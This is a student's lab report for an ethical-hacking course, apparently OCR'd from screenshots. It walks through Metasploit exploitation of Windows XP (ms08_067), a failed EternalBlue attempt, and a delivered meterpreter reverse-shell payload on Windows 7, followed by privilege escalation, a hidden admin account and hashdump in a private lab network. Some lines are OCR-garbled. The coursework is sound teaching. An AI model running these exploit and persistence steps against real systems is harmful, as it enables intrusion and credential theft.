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Assignment 4: Ethical Hacking
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At the end of this module, each student must submit a report indicating the completion of
the following tasks. Make sure you take screenshots as proof.

You need to power on the following VMs for this assignment.

¢ Internal Kali (or Attacker Kali)

e pfSense VM (power on only)

¢ Windows XP, Windows Server 2022, or Windows 7 (depending on the subtasks).

Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each) Please activate
Windows XP clock by following the document posted under Module-3 or
demonstrated in class.

In this task, you need to complete the following steps to exploit SMB vulnerability on
Windows XP.

1. Run a port scan against Windows XP using the nmap command to identify open ports,
services, and vulnerabilities.

2. Identify the SMB port number (default: 445) and confirm that it is open.
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4 Initiating NSE at 21:19
VMshare Completed NSE at 21:19, 0.00s elapsed
Initiating NSE at 21:19
Completed NSE at 21:19, 0.00s elapsed
Nmap scan report for 192.168.10.14
Host is up (0.0045s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
MAC Address: 00:15:5D:40:57:09 (Microsoft)
Device type: general purpose
Running: Microsoft Windows XP
0S CPE: cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3
File System 0S details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=250 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o
:microsoft:windows_xp

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| nbstat: NetBIOS name: ORG-JLF9IQGWXFM, NetBIOS user: <unknown>, NetBIOS MAC
1 00:15:5d:40:57:09 (Microsoft)
VMshare | Names:
| ORG-JLF9IOGWXFM<@0> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| ORG-JLF9IOGWXFM<2@0> Flags: <unique><active>
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3. Launch Metasploit Framework and search for the exploit module: ms08_067_netapi
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4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the
payload.

5. Use 5525 as the listening port number. Configure the rest of the parameters. Display your
configurations and exploit the target.
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LPORT = 5525

msf6 exploit( ) > show options

Module options (exploit/windows/smb/ms@8_067 _netapi):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFU thread yes Exit technique (Accepted: '', seh, thread, process, non
e)

LHOST 192.168.10.13 yes The listen address (an interface may be specified)

LPORT 5525 yes The listen port

Exploit target:
d Name

© Automatic Targeting

View the full module info with the f y f command.

msf6 exploit(




6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target
machine if the exploit is successful.
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7. [Post-exploitation] In the meterpreter shell, display the target system’s local date and
time.

8. [Post-exploitation] In the meterpreter shell, get the SID of the user.

9. [Post-exploitation] In the meterpreter shell, get the current process identifier.

10. [Post-exploitation] In the meterpreter shell, get system information about the target.
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Task B. Exploit EternalBlue on Windows Server 2022 with Metasploit (10 pt)

In this task, try to use the same steps as shown in the class / video (for online students)
lecture to exploit the EternalBlue vulnerability on Windows Server 2022. You may or may
not establish a reverse shell connection to the Windows Server 2022. Document your steps
and show me your results. You won’t lose points for a failed reverse shell connection. But
you will lose points for incorrect configurations, such as putting the wrong IP address for
LHOST/RHOST, etc.
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Payload options (windows/x64/meterpreter/reverse_tcp):

Name Curr etting Required Description

EXITFUNC thread x chnigue (Accepted: * seh, thread, process
LHOST 8.10.13 3 n address (an interface may be specified)
LPORT by The listen port

Exploit target:
Id Name

(] Automatic Target

View the full module info with the fo, or d command.

ploit( ) loit

ck
g to the IPC$ tree.

msf6 exploit(

At first | tried using the “exploit/windows/smb/ms17_010_eternalblue” exploit but
received the command shown above as aresponse. | then tried to use the other listed
exploit “exploit/windows/smb/ms17_010_psexec” which returned the results shown
below. | also ensured that both exploits were set to the correct RHOSTS
(192.168.10.19) by using the command “set RHOSTS 192.168.10.19”.
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Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,

process

LHOST 192.168.10.13 yes The listen address (an interface may be specified)

LPORT L4444 yes The listen port

loit target:
Id Name

o Automatic

View the full module info with the fo, or inf command .
msf6 exploit( ) > set RHOSTS 192.168.10.19
) > exploit

Started reverse TCP handler on 192.168.10.13:4444

192.168.10.19:445 - Rex::Proto::SMB:: Exceptions::LoginError: Login Failed:

Exploit completed, but no session was created.
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.13:4444

192.168.10.19:445 - Rex::Proto::SMB:: Exceptions::LoginError: Login Failed:

Exploit completed, but no session was created.
msf6 exploit( ) > 1

Connection

Connection




Task C. Exploit Windows 7 with a deliverable payload (70 pt).

In this task, you need to create an executable payload with the required configurations
below.

1. Once your payload is ready, upload it to the web server running on Kali Linux. Then
download the payload from Windows 7, and execute it on the target to make a reverse
shell. Of course, don't forget to configure options in your Metasploit framework on Kali
Linux before the payload is triggered on the target VM. (10 pt).

The requirements for your payload are :

¢ Payload Name: Use your MIDAS ID (for example, svatsa.exe) (5pt)

e Listening port: 5525 (5pt)
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Exploit target:

Id Name

@ Wildcard Target

View the full module info with the fo, or inf command.
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.13:5525

e Exploit failed [user-interrupt]: Interrupt
exploit: Interrupted
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.13:5525

Sending stage (176198 bytes) to 192.168.10.9

Meterpreter session 1 opened (192.168.10.13:5525 — 192.168.10.9:1168) at 2025-10-28 0
0:35:15 -0400

meterpreter > screenshot
Screenshot saved to: /root/YNvQgHSy.jpeg
meterpreter > [|




[Post-exploitation] Once you have established the reverse shell connection to the target
Windows 7, complete the following tasks in your meterpreter shell:

2. Execute the screenshot command to take a screenshot of the target machine if the
exploit is successful. (10 pt)
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Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache? server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at
/var/wau/htnl/index. htal) before continuing to operate your HTTP server.

1f you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site’s administrator.

Configuration Overview

Debian's Apache2 default configuration s different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is

in b Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the fiiaual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is s follows:

/etc/apache2/
1~ apache2. conf

3. Create a text file on the attacker Kali named "YourMIDAS.txt" (replace YourMIDAS with
your university MIDAS ID) and put the current timestamp in the file. Upload this file to the

target's desktop. Then, log in to Windows 7 VM and check if the file exists. You need to show
me the command that uploads the file. (10 pt)
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/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in “with
ext’

/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in “run’
/usr/share/metasploit-framework/lib/metasploit/framework/command/cons
/usr/share/metasploit-framework/lib/metasploit/framework/command/base
/usr/bin/msfconsole:23:in “<main>’

meterpreter > upload

Usage: upload [options] srcl src2 src3 ... destipation

Uploads local files and directories to the remote machine.
OPTIONS:

-h Help banner
-r Upload recursively

meterpreter > upload 01304831.txt 192.168.10.9
Uploading : /root/01304831.txt — 192.168.10.9
Uploaded 11.00 B of 11.00 B (100.0%): /root/01304831.txt — 192.1
Completed : /root/01304831.txt — 192.168.10.9

meterpreter > [j




@vvl @ » Window7 » Downloads - |¢? ‘ | Search Da.. O |
Organize = Includein library + Share with » MNew folder ==~ O 9
r Favorites Mame Date modified Type Size
Bl Desktop 719216810 10/28/202512:49 ..  9File 1KE
4 Downloads 01304831 10/28/202512:51 ...  Text Document 1KE
= Recent Places 7] hpottood 10/28/202512:35 .. Application T3KB
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[Privilege escalation]

5. Background your current session, then gain administrator-level privileges on the remote
system (10 pt).

6. After you escalate the privilege, complete the following tasks:

a. Create a malicious account with your name and add this account to the administrator
group. You need to complete this step on the Attacker Side. (10 pt)

b. Remote access to the malicious account created in the previous step and browse the
files belonging
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ique 1 (Named Pipe Impersonation (In Memory/Admin)).
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Command Description

ashdump Dumps the contents of
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haley password 192.168.10.9
Autoselecting keyboard map 'en-us' from locale

ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);

1. Certificate issuer is not trusted by this system.
Issuer: CN=WINDOWS7

Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate the connection atempt will be aborted:

Subjec CN=WINDOWS7
Issue INDOWS7
Valid From: Sun Oct 26 23:4

i Mon Apr 27 4

Certificate fingerprints:

03b77a610bfed0@f15c94cd0b80b667ceb9423d7a
a4cfbd216b46f74f3e6d13adec955b24f75d1d591727ce3946fa862892839a2b

Do you trust this certificate (yes/no)? yes
AL[B"[[B"[[B"[[B"[[B"[[BFailed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has
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